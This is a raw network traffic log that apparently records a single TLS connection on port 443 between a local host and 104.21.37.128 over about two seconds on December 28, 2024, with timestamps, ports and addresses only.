Dec 28, 2024 04:24:02.810322046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.817302942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.817318916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.817379951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.817387104 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.817428112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.823697090 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.823710918 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.823775053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.823781013 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.823821068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.831063032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.831077099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.831132889 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.831140995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.831181049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.838270903 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.838289976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.838352919 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.838361979 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.838398933 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.845107079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.845122099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.845191002 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.845211983 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.845254898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.852421999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.852436066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.852500916 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.852509975 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.853365898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.858827114 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.858840942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.858891964 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:02.858899117 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:02.858937025 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.219038963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.219058990 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.219196081 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.219223022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.219271898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.219356060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.219368935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.219412088 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.219418049 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.219456911 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.220349073 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.220365047 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.220426083 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.220432997 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.220470905 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.221349001 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.221363068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.221420050 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.221426964 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.221468925 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.222536087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.222553015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.222615957 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.222623110 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.222661018 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.223599911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.223613977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.223679066 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.223685980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.223726988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.224459887 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.224477053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.224515915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.224523067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.224564075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.225265026 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.225280046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.225353003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.225359917 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.225404978 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.226048946 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.226272106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.226290941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.226357937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.226365089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.226408005 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.226999044 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.227994919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.228012085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.228075981 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.228084087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.228127003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.228740931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.228759050 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.228821993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.228828907 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.228869915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.229434967 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.233663082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.233685970 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.233750105 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.233771086 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.233812094 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.234160900 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.240999937 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.241024971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.241064072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.241075993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.241117001 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.241137981 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.243254900 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.247802973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.247818947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.247891903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.247900009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.247939110 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.255172014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.255186081 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.255249977 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.255259037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.255302906 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.261545897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.261567116 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.261646986 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.261653900 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.261687994 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.413893938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.413919926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.413983107 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.414005041 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.414016008 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.414046049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.419709921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.419730902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.419799089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.419809103 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.419847012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.425507069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.425523043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.425585985 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.425594091 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.425635099 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.430650949 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.430674076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.430735111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.430744886 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.430779934 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.436410904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.436425924 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.436494112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.436502934 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.436542034 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.441919088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.441937923 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.442028999 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.442042112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.442080975 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.447685957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.447701931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.447771072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.447793961 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.447837114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.453577042 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.453602076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.453660011 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.453670025 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.453701973 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.453718901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.615139961 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.615164995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.615274906 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.615302086 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.615345955 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.620960951 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.620976925 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.621099949 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.621108055 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.621228933 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.626095057 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.626111031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.626178026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.626185894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.626223087 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.632065058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.632081985 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.632159948 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.632170916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.632210016 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.637729883 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.637747049 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.637830019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.637840986 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.637881041 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.643254995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.643270969 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.643335104 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.643345118 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.643372059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.643388987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.649019003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.649034977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.649104118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.649117947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.649162054 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.654092073 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.654107094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.654174089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.654181004 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.654218912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.658958912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.818341970 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.818373919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.818432093 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.818447113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.818490028 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.824055910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.824070930 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.824126959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.824135065 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.824174881 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.829199076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.829211950 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.829266071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.829272032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.829314947 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.835016966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.835031033 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.835078001 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.835087061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.835136890 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.840804100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.840818882 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.840857029 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.840862989 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.840895891 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.840919018 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.846677065 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.846693039 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.846987963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.846996069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.847033978 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.852117062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.852137089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.852160931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.852169037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.852195978 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.852206945 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.853041887 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.853080988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.858818054 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.858834982 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.858902931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:03.858913898 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:03.906197071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.136723995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.136744976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.136785984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.136806011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.136821985 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.136851072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.137762070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.137778044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.137809992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.137814999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.137844086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.137856007 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.138736010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.138751030 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.138791084 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.138796091 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.138830900 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.138843060 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.139655113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.139669895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.139699936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.139704943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.139734030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.139744043 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.140582085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.140595913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.140625000 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.140630007 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.140674114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.141505003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.141519070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.141550064 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.141555071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.141583920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.141607046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.142447948 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.142462969 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.142497063 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.142503023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.142533064 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.142549038 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.143320084 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.143332005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.143363953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.143369913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.143395901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.143414974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.222326040 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.222347975 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.222385883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.222395897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.222426891 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.222445011 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.228163004 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.228176117 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.228250980 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.228256941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.228296041 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.233310938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.233325005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.233386993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.233393908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.233431101 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.239058018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.239072084 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.239155054 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.239161015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.239202976 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.244914055 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.244925976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.244992018 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.244997025 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.245035887 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.250379086 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.250392914 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.250458002 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.250464916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.250503063 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.256237030 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.256249905 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.256310940 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.256320000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.256359100 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.261368990 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.261389017 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.261444092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.261451006 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.261486053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.423559904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.423578024 CET	443	49752	104.21.37.128	192.168.2.4
